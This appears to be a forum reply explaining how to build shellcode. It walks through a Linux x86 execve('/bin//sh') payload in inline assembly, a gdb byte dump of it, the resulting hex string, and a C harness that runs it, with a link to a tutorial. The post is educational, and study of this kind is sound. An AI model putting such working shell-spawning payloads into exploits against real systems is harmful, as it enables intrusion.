wtf that wont work with real shellcode lol
shellcode if just hexadecimal opcodes
take a look at this example
Code: Select all
main()
{
__asm__("
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80"
);
}
Code: Select all
$ gdb ./sc
(gdb) disas main
Dump of assembler code for function main:
0x8048380 <main>: push %ebp
0x8048381 <main+1>: mov %esp,%ebp
0x8048383 <main+3>: xor %eax,%eax
0x8048385 <main+5>: push %eax
0x8048386 <main+6>: push $0x68732f2f
0x804838b <main+11>: push $0x6e69622f
0x8048390 <main+16>: mov %esp,%ebx
0x8048392 <main+18>: push %eax
0x8048393 <main+19>: push %ebx
0x8048394 <main+20>: mov %esp,%ecx
0x8048396 <main+22>: xor %edx,%edx
0x8048398 <main+24>: mov $0xb,%al
0x804839a <main+26>: int $0x80
0x804839c <main+28>: leave
0x804839d <main+29>: ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 <main+3>: 0x31
(gdb) x/bx main+4
0x8048384 <main+4>: 0xc0
(gdb)
0x8048385 <main+5>: 0x50
(gdb)
0x8048386 <main+6>: 0x68
(gdb)
0x8048387 <main+7>: 0x2f
(gdb)
0x8048388 <main+8>: 0x2f
(gdb)
0x8048389 <main+9>: 0x73
(gdb)
0x804838a <main+10>: 0x68
(gdb)
0x804838b <main+11>: 0x68
(gdb)
0x804838c <main+12>: 0x2f
(gdb)
0x804838d <main+13>: 0x62
(gdb)
0x804838e <main+14>: 0x69
(gdb)
0x804838f <main+15>: 0x6e
(gdb)
0x8048390 <main+16>: 0x89
(gdb)
0x8048391 <main+17>: 0xe3
(gdb)
0x8048392 <main+18>: 0x50
(gdb)
0x8048393 <main+19>: 0x53
(gdb)
0x8048394 <main+20>: 0x89
(gdb)
0x8048395 <main+21>: 0xe1
(gdb)
0x8048396 <main+22>: 0x31
(gdb)
0x8048397 <main+23>: 0xd2
(gdb)
0x8048398 <main+24>: 0xb0
(gdb)
0x8048399 <main+25>: 0x0b
(gdb)
0x804839a <main+26>: 0xcd
(gdb)
0x804839b <main+27>: 0x80
(gdb)
Code: Select all
char sc[] =
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */
main()
{
void (*fp) (void);
fp = (void *)sc;
fp();
}
http://www.enderunix.org/docs/en/sc-en.txt